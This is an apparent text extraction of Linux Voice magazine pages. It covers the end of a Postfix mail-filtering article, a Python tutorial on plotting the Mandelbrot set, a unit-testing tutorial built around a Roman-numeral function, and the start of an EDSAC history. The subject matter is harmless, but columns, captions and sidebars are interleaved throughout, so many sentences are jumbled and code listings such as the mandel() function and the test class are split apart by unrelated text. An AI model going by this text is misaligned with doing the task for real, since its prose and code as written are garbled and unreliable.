that should not be able to send via the MTA port. You | /usr/bin/sendmail -G -i -t -f $SENDER
can also permit specific addresses if necessary. The EXITCODE=$?
CIDR (Classless Inter-Domain Routing) table format is We’ve now provided ways to separately filter both
suitable for specifying networks; here is an example inbound and outbound mail, and you can build on
/etc/postfix/smtp_access.cidr that prohibits internal these concepts to provide filters according to your
networks except for a specific address (customise needs. In part 3 we’ll provide a way for end-users to
yours according to your needs): filter their own messages so they can organise them
10.0.1.100 OK into sub-folders and look at how users can access
10.0.0.0/8 REJECT mail when out of the office.
172.16.0.0/12 REJECT
192.168.0.0/16 REJECT John Lane is a technology consultant with a penchant for
Add a rule in /etc/postfix/main.cf to check client Linux. He helps new businesses and start-ups make the most
of open source software.
connections against the access table. The default
www.linuxvoice.com 95
CODING MANDELBROT & PYTHON
PYTHON: MAKE YOUR OWN
TUTORIAL
MANDELBROT SET
With a smattering of Python and a bit of clever maths you too can
TARIQ RASHID
create a bit of beautiful chaos inside your Linux box.
T
he image below depicts the famous code files and using shells to execute the programs.
WHY DO THIS? Mandelbrot set. You may have seen it on You can also share your web-based “notebooks” by
• Create hugely complex posters, music videos or demonstrations of exporting them, or sharing them online.
results from a simple
equation. computer power – back in the 1990s it took hours to There are pre-packaged distributions of IPython
• Turn this into pretty plot it using home computers. Despite its organic including the numerical and graphical extensions, so
graphs! intricate appearance it is in fact the result of extremely you don’t have to worry about installing and
simple mathematics. configuring the right versions and their many
The maths hasn’t changed since the 1990s, but dependencies. Even better, because IPython is used
computing power has come on in leaps and bounds, purely through a web browser, you can use one of
so the psychedelic beauty of the Mandelbrot set can several online services offering IPython in the cloud.
be ours to play with. We’ll be using the Python You don’t have to install any software at all, and you
programming language because it’s popular, easy to can work on your code and demonstrate the results
learn, and has well established numerical and plotting from any internet-connected device that supports a
extensions. It’s no accident that Python is the tool of modern browser.
choice in the scientific community, as well as The code in this article series was tested with the
powering some of the world’s largest infrastructures. online service from wakari.io, which offers free trial
The following images
As an interpreted, rather than compiled language, accounts, and the locally installed IPython Anaconda
are closeups of parts of
this same fractal. The Python gives immediate feedback. We’re going to take free distribution from continuum.io.
Mandelbrot set is in fact this interactivity one step further by using IPython, Whether you select an online service or install your
infinitely detailed, and which is Python packaged with an interactive web own IPython distribution, check to see if it works by
contains a wide variety of interface. You can just type instructions and get firing it up and clicking on New Notebook. Type 2*3
patterns. results straight away. You avoid having to edit source into it and click the Run button, which looks like an
audio play selector. If it responds with ‘6’, great – you
have a working IPython environment!
Beginning Python
Let’s now learn just enough Python to make our own
Mandelbrot fractal. Fire up IPython and open a new
notebook. In the next ready cell, labelled In [ ], type the
following code and click Play (or press Ctrl+Enter).
print “Hello World!”
You should get a response that simply prints the
phrase “Hello World!” You should see that issuing the
second instruction didn’t remove the previous cell with
its instruction and output answer. This is useful when
you’re slowly building up a solution of several parts.
The following code introduces the key idea of
variables. Enter and run it in a new cell. If there is no
new empty cell, click the button with the downward
pointing arrow labelled ‘Insert Cell Below’, not to be
confused with the one labelled “Move Cell Down”.
x = 10
print x
print x+5
print z
The first line, x = 10, looks like a mathematical
statement that says x is 10. In Python this means that
x is set to 10, that is, the value 10 is placed in an
virtual box called x. That 10 stays there until further
96 www.linuxvoice.com
MANDELBROT & PYTHON CODING
Fractals
Before we dive in and start coding, let’s take a is entirely random noise – there isn’t a lack of patterns with just the right amount of unpredictable
step back and consider again some of the patterns detail, but now there isn’t enough structure in the variation. These patterns are called fractals.
we find in nature or create ourselves. Look at the image to keep us interested. The cauliflower has The Mandelbrot fractals appear natural, organic
following three images. repeated patterns at different scales. These and even beautiful because they too sit at that fine
The first set of shapes is very regular. They’re patterns also have just the right amount of variation line between order and chaos, having structures
what most people would consider mathematical to keep us interested. This is a common theme that have self-similar patterns but infused with just
shapes, but there isn’t enough interesting detail in throughout nature, where clouds, mountains, rivers, enough variation – and parts of these fractals do
them to hold our attention for long. The last image trees, blood vessels etc all have self-similar look like plants, lightning or natural coastlines.
notice. We shouldn’t be surprised that print x prints in is the bit that creates a loop, and here it does
the value of x, which is 10. Why doesn’t it just print x? something for every number in the list, and keeps
Python will evaluate whatever it can, and x can be count by assigning the current value to the variable n.
evaluated to the value 10, so it prints that. The next We saw variables earlier, and this is just like assigning
line, print x+5 evaluates x+5, which is 10+5 or 15, so n=0 during the first pass of the loop, then n=1, then
we expect it to print 15. n=2, until n=9, the last item in the list.
What happens with the line print z when we haven’t The next line print n prints the value of n, just as
assigned a value to it like we have with x? We get an before. We expect all the numbers in the list to be
PRO TIP
error message telling us about the error of our ways, printed. But notice the indent before print n. This is Explore the Mandelbrot
fractal using the
trying to be helpful as possible so we can fix it. important in Python as indents are used meaningfully interactive XaoS open
to show which instructions are subservient to others, source software at
Automating lots of work in this case, the loop created by for n in .... The loop http://bit.ly/1vLdz52 or
through a web browser
Computers are great for doing similar tasks many ends when the code stops being indented. Here, we’ve http://bit.ly/1lbXYL1.
times – they don’t mind and they’re very quick used a pass instruction to highlight the end of the loop
compared with humans with calculators. Let’s see if (pass is superfluous, and Python will ignore it but it
we can get a computer to print the first 10 squared helps the interpreter exit a code block. You can remove
numbers, starting with 0 squared, 1 squared, then 2 it if you want). This means we only expect done to be
squared and so on. We expect to see a printout of printed once, and not 10 times.
something like 0, 1, 4, 9, 16, 25, and so on. Issue the It should be clear now that we can print the squares
following code into the next ready cell and run it. by printing n*n. In fact we can make the output more
range(10) helpful with phrases like “The square of 3 is 9”. The
You should get a list of 10 numbers, from 0 up to 9. following code shows this change inside the loop.
This is great because we got the computer to do the Note how the variables are not inside quotes and are
work to create the list – we didn’t have to do it therefore evaluated.
ourselves. for n in range(10):
A common way to get computers to do things print “The square of”, n, “is”, n*n
repeatedly is by using loops. The word loop does give pass
you the right impression of something going round print “done”
and round potentially endlessly. Rather than define a This is already quite powerful. We can get the
loop, it’s easiest to see a simple one. Enter and run computer to do a lot of work very quickly. We could
following code in a new cell. easily make the number of loop iterations much larger
for n in range(10): by using range(100) or even range(100000) if we
print n wanted. Try it!
pass
print “done” Functions
There are three new things going on here. The first Python makes it easy to create reusable computer
line has the range(10) command that we saw before, instructions. Like mathematical functions, these
which creates a list of numbers from 0 to 9. The for n reusable snippets of code, also called functions, stand
www.linuxvoice.com 97
CODING MANDELBROT & PYTHON
# and outputs their average
def avg(x,y):
print “first input is”, x
print “second input is”, y
a = (x + y) / 2.0
print “average is”, a
return a
The first two lines beginning with # are ignored by
Python, but we use them to add comments for future
readers. The next bit, def avg(x,y), tells Python we are
about to define a new reusable function. That’s the def
keyword. The avg part is the name we’ve given it. It
could have been called “banana” or “pluto” but it
makes sense to use names that remind us what the
function actually does. The bits in brackets (x,y) tells
Python that this function takes two inputs, to be called
x and y inside the definition of the function.
Now that we’ve signalled to Python that we’re about
to define a function, we need to actually tell it what the
function is to do. This definition of the function is
indented under def. The first and second numbers, x
and y, which the function receives when it is invoked
are printed. The next bit calculates (x+y)/2.0 and
assigns the value to the variable named a, before it is
printed. The last statement says return a. This is the
end of the function and tells Python what to return
back to whoever invoked it.
The amazing thing is
that all this detail and on their own if you define them sufficiently well, and When we ran this code, it didn’t seem to do
variety emerges from the allow you to write shorter more elegant code. Why anything. There were no numbers produced. That’s
behaviour of a very simple shorter code? Because invoking a function by its because all we’ve done is define the function; we
mathematical function; name many times is better than writing out all the haven’t used it yet. What has actually happened is that
z2+c. function code many times. (By sufficiently well Python has noted this function and will keep it ready
defined we mean being clear about what kinds of for when we want to use it.
input a function expects, and what kind of output it In the next cell enter avg(2,4) to invoke this function
produces. Some functions will only take numbers as with the inputs 2 and 4. The output should be what we
input, so you can’t supply it with text.) expect, with the function printing a statement about
Let’s look at a simple function and play with it. Enter the two input values and the average it calculated. The
the following code and run it. following shows the function definition and the results
# function that takes 2 numbers as input of calling it with avg(2,4) and also bigger values (200,
PRO TIP Explore fractals in a web browser
In Python, like many You can explore the Mandelbrot fractal without installing any image. You can then point at a new point in the closer view, or
programming languages, software at all. The following two are implemented entirely in go back and pick a new point to explore from.
the = equals sign means
JavaScript, so you only need a modern browser to explore the The explorer at http://mandelbrot-set.com requires you
“is set to”. So x=5 means
x is set to 5 until, and fractals. Have a go! to use your pointer to select a rectangle to zoom into. The
if, it is updated later. The explorer at http://davidbau.com/mandelbrot enables level of detail calculated rapidly is impressive. You can select
This is different from you to progressively click on points to cretae a new closer different colour schemes with the options menu.
the mathematical or
logical equivalence,
which can confuse new
programmers.
The simple folk of the 90s would be awed and terrified to see the Mandelbrot set calculated in a browser.
98 www.linuxvoice.com
MANDELBROT & PYTHON CODING
301). Experiment with your own inputs.
You may have noticed that the function code which
calculates the average divides the sum of the two
inputs by “2.0” and not just “2”. This is because “2” is
an integer and so Python will round the result to an
integer as well, which we don’t want here.
Arrays
Arrays are just tables of values. You refer to particular
cells with the row and column number, just like you
would with cells in a spreadsheet.
Enter and run the following code.
a = zeros( [3,2] )
print a
This creates an array of shape 3 by 2, with all the
cells set to the value zero and assigns the whole thing
to a variable named a. Printing a shows the array full
of zeros in what looks like a table with three rows and
two columns.
Now let’s modify the contents of this array. The
following code shows how you can refer to specific
cells to overwrite them with new values. It’s just like
referring to spreadsheet cells or street map grid
references.
a[0,0] = 1
a[0,1] = 2
a[1,0] = 9
a[2,1] = 12 An example of the images
print a doing just this. produced by the code
The first line updates the cell at row zero and print a[0,1] teaser, below. Can you
column zero with the value 1, overwriting whatever v = a[1,0] figure out how it works?
was there before. The other lines are similar updates, print v
with a final printout. Remember that the column and row numbering
Now that we know how to set the value of cells in starts from 0 and not 1, so the top-left is at [0,0] not
an array, how do we look them up without printing out [1,1]. This also means that the bottom-right is at [2,1]
the entire array? We’ve been doing it already. We not [3,2].
simply use the expressions like a[1,2] or a[2,1] to refer
to the content of these cells. The code shows us Plotting arrays
PRO TIP
Visualising arrays graphically is sometimes more
Remember that in
insightful than looking at large tables of numbers. We Python, indents have
can think of them as flat two-dimensional surfaces, meaning. Instructions
coloured according to the value at each cell in the that are subservient to
another are indented.
array. Let’s plot the small 3 x 2 array we created above: This includes function
imshow(a, interpolation=”nearest”) definitions and the
The instruction to create a plot is imshow(), and the contents of loops. An
errant space or tab can
first parameter is the array we want to plot. That last cause hard-to-spot errors.
bit, interpolation, is there to tell Python not to try to
blend the colours to make the plot look smoother,
which it does by default. The output is shown in the
image below.
As a teaser of things to come, the following short
PRO TIP
code will plot different images every time you run it.
Experiment with the
See if you can work out how it works using the online imshow() function
Python documentation. by trying different
import numpy as np options explained in its
documentation at
figsize(5,5) http://bit.ly/1lu1mkB.
imshow(np.random.rand(10,10), interpolation=”lanczos”)
The array cells which have the same value also have the To really appreciate the Mandelbrot fractal we need
same colour. When we plot the Mandelbrot set, we’ll be to experience for ourselves the unexpected behaviour
using this very same imshow instruction. of very simple mathematical functions that lead to
www.linuxvoice.com 99
CODING MANDELBROT & PYTHON
its intricate patterns. You don’t need to be an expert parameter r.
in mathematics to follow and appreciate the same For some seed values and parameters r, the
surprise felt by those researchers who first pictured function behaves like a divergent or a convergent
the Mandelbrot set in the late 1970s. function. But for some, such as x=0.2 and r=3, the
function seems to oscillate. This is certainly
Iteration unexpected behaviour!
You can imagine a mathematical function as a What’s more, for some other values like x=0.2 and
machine that does some work. Its job is to take r=4 the behaviour breaks down into something
numbers in one end, the input, and spit out a new unrecognisable, apparently random. This is known as
number out the other end, the output. What happens chaos. Not only is this behaviour surprising from such
if we feed the output of one of these functions back a simple function, it was only really appreciated in the
into it again as the input? last 100 years or so of mathematics, which itself goes
Let’s try it with the function “divide by 3” and starting back thousands of years.
value of 9. We get the sequence 9, 3, 1, , … You can We’re going to see if we can feed our functions a
see the numbers getting ever smaller, and in fact new kind of number called a complex number. You
they’d never get to zero. may remember these from school, but if not, we’ll
Iteration simply means doing the same thing again explain them here.
and again to produce a series of outputs. If the values Complex numbers have two parts. They are
keep growing larger forever, like those from the two-dimensional, and so can be used to refer to points
PRO TIP “multiply by 2” function, we say the values diverge. If in a flat plane just like grid coordinates. These two
It’s good practice to to they approach a finite value, like zero, like the “divide parts just happen to be called the real and imaginary
design your functions
to always return the by 3” function, we say the values converge. parts. We can add and subtract these numbers very
same result for the easily by combining the real and imaginary parts
same set of inputs. Starting conditions separately. For example 1+2i added to 3+4i is 4+6i (4
When your programs
grow in complexity, this Some functions behave differently depending on their is the real part and 6i is the imaginary part).
is a guarantee that will starting value – in these cases, we say they are Multiplying complex numbers is just like school
help keep your code sensitive to initial conditions. Consider the function algebra. The brackets are expanded and similar terms
understandable and aid
debugging. “square it” which simply takes an input and multiplies are recombined, but there is one special rule for
it by itself. If the starting value is greater than 1, the complex numbers: any i2 is replaced by -1. For
successive outputs keep growing larger. If the seed example (2+3i)*(1+4i) is 2 + 8i + i3 + 12i2 which
value is smaller than 1, the values keep getting simplifies to (-10+11i).
smaller. A seed value of exactly 1 stays the same, and Python can work with complex numbers out of the
separates the two domains of divergence and box. We use the form complex(a,b) to tell Python we
convergence. This idea of domains of different mean a+ib where a is the real part and b is the
behaviour is important for the Mandelbrot fractal imaginary part of the complex number. Try the
because that is exactly what it is showing – regions of following in an IPython notebook.
divergence and convergence. # assign the complex number (2+3i) to c
Other kinds of behaviour were discovered only c = complex(2,3)
Orbit plot showing
successive values of z^2+c recently in the long history of mathematics. The print c
when c=0.4+0.4i. You can Logistic Map is a function rx(1-x) that was developed
see an initial circling then by scientists trying to model population growth. The # print c multiplied by (1 - 4i)
a sudden divergence. behaviour is very sensitive to the starting value and print c * complex(1,-4)
iterate function “z 2+c”, start value z-0+0i, # print c squared
>
c=0.4+0.41, orbit plot print c*c
The behaviours we saw earlier, including oscillation
5 and chaos, also occur for functions working on
complex numbers, except they take place in two
dimensions. The successive values from a function
2.5
are called orbits. The plot below-left shows successive
values for the simple function z2+c with z starting at 0
imaginary
0 and c=0.4+0.4i. You can see that after an initial
circling, the values suddenly diverge – not the
behaviour we were used to at school with less
-2.5 interesting functions!
Mandelbrot fractal recipe
-5
-5 -2.5 0 2.5 5 The Mandelbrot set is just a two-dimensional atlas
coloured to show which regions of its world, the
real two-dimensional complex plane, diverge or converge
100 www.linuxvoice.com
MANDELBROT & PYTHON CODING
when the amazingly simple function z2+c is applied
iteratively. Here z starts at 0, and c is the complex
number representing the chosen point on the complex
plane. If a chosen point diverges and gets bigger and 10 -7 3
bigger it is considered outside the Mandelbrot set. We
could colour all such points one colour, but it is
common to chose a colour according to how rapid the
divergence is. The points inside the set, those which multiply
3 by -1 -3
don’t diverge, are usually coloured black.
It turns out, to many people’s surprise, that the
boundary between the two is not a boring shape like a
circle but is incredibly detailed and intricate, and in
fact beautiful – it is the famous Mandelbrot fractal!
4 square 16
Mandelbrot set in Python
We’ll build up a Python program to calculate and plot
a Mandelbrot fractal in easy to understand pieces.
Let’s start at the core of the Mandelbrot calculation.
Some examples of
For each point being tested on a selected rectangle of the maximum maxiter, or is stopped sooner by a
functions: the square
the complex plane, the function z2+c is repeatedly magnitude threshold test. What’s left is to fill in the functions takes an input of
iterated the resulting values may diverge rapidly. The code describing the iterated function z2+c and then 4 and squares it, producing
point is coloured according to how quickly that check to see if the threshold has been breached. the resulting answer 16.
function diverges. This means the Python function we These are fairly easy, so let’s write them out and
want to write returns the number of iterations it takes explain them.
to diverge beyond a threshold magnitude. The def mandel(c, maxiter):
function still needs to calculate successive values of z = complex(0,0)
z2+c, it just doesn’t have to return them. So the start
and end of the core calculating Python function, which for iteration in xrange(maxiter):
we’ll call mandel(), looks like the following. z = (z*z) + c
def mandel(c):
.. if abs(z) > 4: PRO TIP
.. break There are several kinds
return iterations pass of convergence you’ll
find if you experiment
What if the point doesn’t diverge? We can define the with these and similar
maximum number of iterations the function is to be pass functions. Successive
applied before giving up. We can pass it as a values will get closer
to, but never reach,
parameter to the core mandel() function. The function return iteration
zero or a finite value.
would then look something like mandel(c, maxiter). Here we’ve added the z = (z * z) + c instructions, Alternatively, they will
Why would we need to change it? Well, as you explore which calculates the next value of z based on the fluctuate above and
below a value as they get
the Mandelbrot fractal’s finer detail, you need more current value and the chosen c. We then check to see ever closer to it. In some
iterations to establish whether very close points if the magnitude, or absolute value denoted abs() in cases they might orbit
behave differently or not. Python, of c is greater than 4, and if it is, the instruction about a finite number of
different attractors, that
We now have a mandel() function that takes the break simply breaks out of the for loop. Once this is, multiple points which
test point c, and the maximum number of iterations happens there are no more instructions after the loop, seem to pull them closer.
as its parameters: and so the mandel(c,maxiter) function returns the
def mandel(c, maxiter):
z = complex(0,0) PRO TIP
Resources
Complex numbers really
for iteration in xrange(maxiter): aren’t complex. The term
If you’d like a fuller explanation of the mathematics and is an accident of history,
… Python discussed in this series, you’ll find the Make Your and sadly puts some
… Own Mandelbrot ebook (Amazon and Google) takes a people off them. If they
… slower journey with more examples and discussion. All the were called composite
source code can be found at the blog. numbers, that would
pass
Source code http://makeyourownmandelbrot.blogspot. reflect the fact that
co.uk/2014/04/sharing-code.html they are made up of two
return iteration IPython http://ipython.org/install.html independent parts.
We set the starting value of z to be zero, or more Wakari.io www.wakari.io
precisely (0+0i). The for .. code loop, which iterates a XaoS http://matek.hu/xaos/doku.php
maximum of maxiter times, keeps count in the Blog http://makeyourownmandelbrot.blogspot.co.uk
Amazon Kindle ebook www.amazon.co.uk/dp/
variable named iteration. The end of the function is B00JFIEC2A
still returning the iteration count, whether that reaches
www.linuxvoice.com 101
CODING MANDELBROT & PYTHON
PRO TIP Arithmetic with complex numbers
You can find a visual
representation and The following table summarises how to add, subtract and multiply complex numbers.
gentler explanation of the
algorithm to calculate
and plot the Mandelbrot
Operation How to do it
fractal at
http://bit.ly/1qK78e3 Add the two complex numbers (a + bi) and (c + di) (a + bi) + (c + di) = (a+c) + (b+d)i
Add the real and imaginary parts independently.
Subtract the complex number (c + di) from (a + bi) (a + bi) - (c + di) = (a-c) + (b-d)i
Subtract the real and imaginary parts independently.
Multiply the two complex numbers (a + bi) * (c + di) (a + bi) * (c + di) = (ac + adi + bci + dbi2) = (ac-bd) + (ad+bc)i
Expand out the terms and apply the special rule that i2 is -1.
Then collect real and imaginary parts to make a neat answer.
value of iteration. If the point doesn’t diverge, then x_list = linspace( -2.0, 4.0, 13)
abs(z) is never more than 4, so the for loop simply y_list = linspace( -2.0, 2.0, 9)
keeps running until the count reaches the maximum for x in x_list:
iterations, and it is this maximum that is then finally for y in y_list:
returned by the mandel(c, maxiter) function. print x,y
pass
The atlas pass
We now need to define in Python which part of this Next we need to find a way of associating these
complex plane we points with the pixels in an array of colour values that
are interested in. We could be plotted using the imshow() function we used
“We want to colour each region also need to divide earlier. The complex plane region is just a list of points,
according to its convergence up this section into
regularly spaced
represented by complex numbers, and these don’t
have a colour associated with them to plot. We need
or divergence behaviour.” points, ultimately to give the imshow() plotting function something that
representing pixels in contains colour information. Also, imshow() expects
an image. to plot a two-dimensional array where the contents of
Python has a function linspace() which divides an a cell represent the colour to be plotted, not a long list
interval into evenly spaced points. Let’s imagine we of complex numbers like the ones we created earlier.
want a rectangle with bottom-left at (-2,-2) and the Given that the rows and columns of the plotted
top-right at (4,2). This has a horizontal length of 6, and array need to increment in whole units, we can simply
a vertical height of 4. Let’s divide the horizontal length place each of the evenly spaced points between the
into 12 sections, and the vertical into 8. The following bottom-left and top-right into the array. So if the points
After each iteration of the
‘multiply by 2’ function, Python code shows how you can use the familiar were 0.5 units apart on the complex plane, they would
the results get ever further Python loops over each element of linspace lists to be 1 unit apart in the array.
from each other – this is create the coordinates for each test point within this Let’s now define the complex plane region. Enter
divergence. rectangle. and run the following code. It makes sense to place
this at the top of your IPython notebook because it
iterate function “multiply by 2”, start value 2 sets out up front which region you are interested in.
Use the button marked as ‘Insert Cell Above’ to create
2400
a new cell at the top.
# set the location and size of the complex plane rectangle
1800
xvalues = linspace(-2.25, 0.75, 1000)
yvalues = linspace(-1.5, 1.5, 1000)
1200 # size of these lists of x and y values
value
xlen = len(xvalues)
ylen = len(yvalues)
600 The first instruction creates a list of 1000 points
evenly placed between -2.25 and 0.75, inclusive.
These will be the horizontal divisions of the rectangle,
0 and we’ll call the list xvalues. Similarly, yvalues is the
0 2 4 6 8
list of 1000 evenly spaced points between -1.5 and
iteration
1.5. The last two lines simply take the length of the
lists and assign them to variables.
102 www.linuxvoice.com
MANDELBROT & PYTHON CODING
The following code creates the image array of
colour values of size xlen by ylen. We’ve called it atlas iterate function “divide by 3”, start value 10
because we want to colour each region according to 10
its convergence or divergence behaviour.
atlas = empty((xlen,ylen))
We’re almost there! All that remains is to fill this 7.5
array with colour values and plot it using imshow().
The following code uses loops to fill it with the
5
value
returned values from the mandel() function.
for ix in xrange(xlen):
for iy in xrange(ylen):
2.5
cx = xvalues[ix]
cy = yvalues[iy] 0
0 2 4 6 8
c = complex(cx, cy)
iteration
atlas[ix,iy] = mandel(c,40)
In the divide by three
pass
function, the result
pass That’s it, the hard work is done! Now let’s see the trends towards, but never
You’ll recognise that this code is simply two loops, one results. In a new cell, enter the following code. reaches, zero.
inside the other. The loops count through the rows figsize(18,18)
and columns of the atlas array using variables ix and imshow(atlas.T, interpolation=”nearest”)
iy. These counts refer to the contents of the array, The first line sets the size of the plot to 18 by 18
which are also counted from 0 to xlen-1, and not 1 to because the default is too small. The imshow
xlen. You may have noticed that we use xrange instruction plots the array. We also refer to atlas with
PRO TIP
instead of range. range would work, but for very large a .T appended to it because otherwise the array is
The code for the full
lists xrange is more efficient because it doesn’t plotted on its side compared to what we want to see. programs to calculate and
actually create a list, but gives you the contents as Run the code and you’ll see the Mandelbrot set. plot the Mandelbrot and
you ask for them. You can zoom into parts of the Mandelbrot set by Julia fractals is online at
http://bit.ly/1qpnlsE.
These two loops enable us to refer to every cell of changing the bottom-left and top-right points of the
the array using atlas[ix,iy]. The code inside the loops complex plane region. We simply change the code
uses the counts ix and iy to look up the actual that sets the xvalues and yvalues. For example, using
complex number to be tested by the mandel() the rectangle from earlier in this guide with the values
function. The real and imaginary parts were in the (-0.22 - 0.70i) bottom-left and (-0.21 -0.69i) as
xvalues and yvalues lists we created earlier, and can top-right means setting the following xvalues and
be dug out using xvalues[ix] and yvalues[iy]. yvalues as follows:
The last part inside the loops is updating the # set the location and size of the atlas rectangle
contents of the array with the return value from the xvalues = linspace(-0.22, -0.21, 1000) PRO TIP
mandel() function. yvalues = linspace(-0.70, -0.69, 1000) Don’t forget you can
The resulting image was quite undefined because explore the Mandelbrot
we set too low a value for maximum iterations. and other fractals using
the interactive XaoS open
Change it from 40 to 120 as follows: source software at http://
atlas[ix,iy] = mandel(c,120) bit.ly/1vLdz52 or through
The result is a more detailed image, as shown a web browser http://bit.
ly/1lbXYL1.
below-left. It’s really quite beautiful!
The complete Python code we’ve built up to plot our
own Mandelbrot fractals is available for you to look
over at http://makeyourownmandelbrot.blogspot.
co.uk/2014/04/sharing-code.html. I’ve added
comments to help remind you what each code
section does.
Next month we’ll look at the Julia fractals, which are
intimately related to the Mandelbrot fractals. They’re
even more beautiful in my opinion! We’ll also extend
our 2D fractals into interactive alien 3D landscapes
you’ll be able to explore.
Tariq spends his time grappling with enterprise IT problems,
It looks different from the image on the first page of this
informed by two decades of working with open technology.
tutorial, but this is actually just a magnified section.
www.linuxvoice.com 103
CODING NINJA
CODE NINJA:
TUTORIAL
UNIT TESTING
All* good programmers make sure their software works properly
BEN EVERARD
before releasing it to the world. *most
I
n issue 7’s Code Ninja, we had a piece of code that
WHY DO THIS? was supposed to output the Roman numerals for
• So you don’t embarrass a particular number. As some of you noticed, it did
yourself in an
international computing not quite work as it should have. This month we’ll take
magazine. a look at what we should have done to save ourselves
• To make sure that your the embarrassment of publishing code that doesn’t
code works as expected. work properly: testing.
• To catch any regression Testing is the process of making sure code works
errors before they cause
users problems. as it’s supposed to. This can mean anything from
informally entering a few values and making sure it’s
working properly, to a full suite of tests that run
automatically and rigorously test everything to make
sure it’s working as expected.
The simplest form of testing (and the one that If only we’d run this two months ago, we could have
would have saved us two issues ago) is unit testing. spared ourselves some embarrassment.
This is where you check a particular block of code
(typically a function or method) and ensure it’s and test the value of the Roman numeral before it’s
working correctly. Just to recap, our code from the sent to the terminal.
previous tutorial was: The first thing we need to do then, is re-factor the
symbols = [(‘M’, 1000), (‘C M’, 900), (‘D’, 500), code so that the function returns the text for the
(‘C D’, 400), (‘C’, 100), (‘X C’, 90), (‘L’, 50), Roman numeral rather than printing it. The function
(‘X L’, 40), (‘X’, 10), (‘I X’, 9), (‘V’, 5), then becomes:
(‘I V’, 4), (‘I’, 1)] def romannumeral(number):
outstring = “”
def romannumeral(number): while number > 0:
while number > 0: for symbol, value in symbols:
for symbol, value in symbols: if number - value >= 0:
if number - value >= 0: outstring += symbol
print symbol, number = number - value
number = number - value continue
continue return outstring
number_in = raw_input(“Enter a number: “) This also removes the spaces from between the
romannumeral(int(number_in)) symbols, so we’ll remove them in the symbols list of
This isn’t particularly conducive to testing, because tuples as well.
the same function that calculates the value also Now you can capture what Roman numerals the
outputs it. In other words, there’s nowhere to catch code is producing, and so you can now automate
testing of them.
Test-driven development
PyUnittest
There is a school of thought on software fix the problem. Testing libraries help you manage individual test
development that says that the first thing 4 Run the tests again.
cases and run them appropriately. The most popular
you should do when embarking on a new 5 If the tests pass, clean up the code, then
project is write a test. In this paradigm such module for Python is PyUnittest. This is usually
return to step one.
(known as test-driven development or TDD), The software then evolves as new tests included with Python, so you shouldn’t have to go
the tests aren’t just a way to find bugs, but are added to specify new behaviour. The hunting around for anything.
form the specification for the program itself. software is always fully tested because new With a few test cases added, the code becomes:
The process follows these steps: features are only added after there is a test import unittest
1 Write a new test.
to define the behaviour, and since the tests
// symbols list
2 Run all tests and see if any fail. are all run in each iteration, there shouldn’t
3 If one or more tests fail, write new code to be any regressions. // roman numers function
class Test(unittest.TestCase):
104 www.linuxvoice.com
NINJA CODING
def test_9(self):
self.assertEqual(rommannumeral(9), “IX”)
def test_29(self):
self.assertEqual(romannumeral(29),”XXIX”)
def test_707(self):
self.assertEqual(romannumeral(707),”DCCVII”)
def test_1800(self):
self.assertEqual(romannumeral(1800),”MDCCC”)
if __name__ == ‘__main__’:
number_in = raw_input(“Enter a number: “)
print romannumeral(int(number_in))
You’ll need to add the symbols list (with the spaces
removed), and the romannumerals() function from
the previous code (they’re omitted here to save
space). We’ve called this file roman-test.py.
The condition __name__ == ‘__main__’ is true when
the code is being run from the command line, so this
allows us to still run it normally with python roman-
test.py, but it means that the code works properly
when imported into the test module.
The tests are all methods of a class that inherits
from unittest.TestCase, and they all call one of the
assert methods. Here we’ve used assertEqual() to useful are assertTrue(statement), Java’s JUnit is probably the
check that the value returned from the assertRaises(exception), assertIsInstance(object, best known of the unit
romannumeral() function is the right value. class) and assertAlmostEqual(value1, value2). testing frameworks, but
SUnit (written for the
If you call the file containing the code roman-test. You can get a full list from the documentation at
Smalltalk programming
py, you can run the tests with: https://docs.python.org/2/library/unittest.html.
language) came first.
python -m unittest roman-test The above test cases only check four numbers. It’s
Ah, it seems that three of the four tests fail. It turns trivially easy to add more test cases (we kept it short
out that there’s an error in our code that generates the to save space). In fact, in this case, it would be
Roman numerals. The continue statement should be possible to set an upper bound (say, 1000), and enter
a break statement. If you make this change, you the correct data for every possible number. This way
should find that all the tests pass. we could ensure that it was definitely producing the
correct output. This is known as exhaustive testing.
Getting assertive However, if the software had a wider range of
In this example, we’ve used assertEqual to check if a inputs, then it may not be practical to run an
particular test passes or not, but there are many exhaustive test. In this case, we’d have to be selective
different methods you can use. Some of the most in which values we test. We want to pick the values
that are most likely to lead
to an error.
Other forms of testing
There aren’t any hard-and- “Testing libraries help you
Here we’ve looked at unit testing. This is great for making
sure that a particular part of your program is working
fast rules about this, but
there are a few guidelines
manage individual test cases
properly, but in complex software, this can still miss bugs.
Integration testing
that can help you. You want and run them appropriately.”
Unit testing checks that each bit of code works correctly by broad coverage. That
itself. The next step is to make sure that all the bits of code means that you don’t want
work properly when combined together. This is known as to cluster all your tests in one area. You also want to
integration testing. check areas where the output flips from one case to
Systems testing
the next (eg 8 and 9 which go from VIII to IX). Edge
Most programs aren’t isolated bits of code, but part of a
larger ecosystem. For example, they might get some of and corner cases can also be fertile sources of errors.
their data from an external database, or send files to This is where you push one or more parameters to
another server. Systems testing is where you test that the their maximum values.
software works correctly with all the external services that If you create a good suite of tests when developing
it uses.
a particular part of a piece of software, then you can
Usability testing
Bugs aren’t just bits of code that don’t work properly. They use these tests to ensure that you don’t accidentally
can also be things that don’t work as the user expects introduce a bug (or regression) into this area as you
them, or confusing GUIs. Usability testing is where you put add features, or fix other bugs. This is known as
real users in front of the software and make sure it works regression testing, and as software becomes more
as they expect it to.
complex, it become more important.
www.linuxvoice.com 105
CODING EDSAC AND DAVID WHEELER
EDSAC, DAVID WHEELER AND
TUTORIAL
THE CAMBRIDGE CONNECTION
JULIET KEMP
Programmers everywhere, give thanks for EDSAC and David
Wheeler, first implementer of the subroutine.
T
his month we return to the early days of first bit couldn’t be used, so an instruction consisted
modern computing. Specifically, to Cambridge of a 5-bit instruction code, one unused bit, a 10-bit
(UK) in the late 1940s, and the first electronic memory address, and a marker bit that identified
digital stored-program computer to see regular whether the instruction was to operate on a number
service: the Electronic Delay Storage Automatic that was contained in one word or in two. This meant
Calculator, or EDSAC (inspired by von Neumann’s First that EDSAC wasn’t restricted to 17-bit numbers but
Draft of a Report on the EDVAC). The machine itself could also use 35-bit numbers contained in two
shared a lot of features with other computers of words. Numbers were stored as binary two’s
similar vintage, but it was while working on EDSAC complement. The accumulator held 71 bits, so two
that David Wheeler developed the idea of subroutines 35-bit numbers could be multiplied without loss of
and the first very basic assembler, making a precision. Initially it had only an accumulator and a
contribution to computing that continues to this day. multiplier registers -- David Wheeler designed and
EDSAC was constructed by Maurice Wilkes and his added an index register in 1953.
team at the University of Cambridge Mathematical
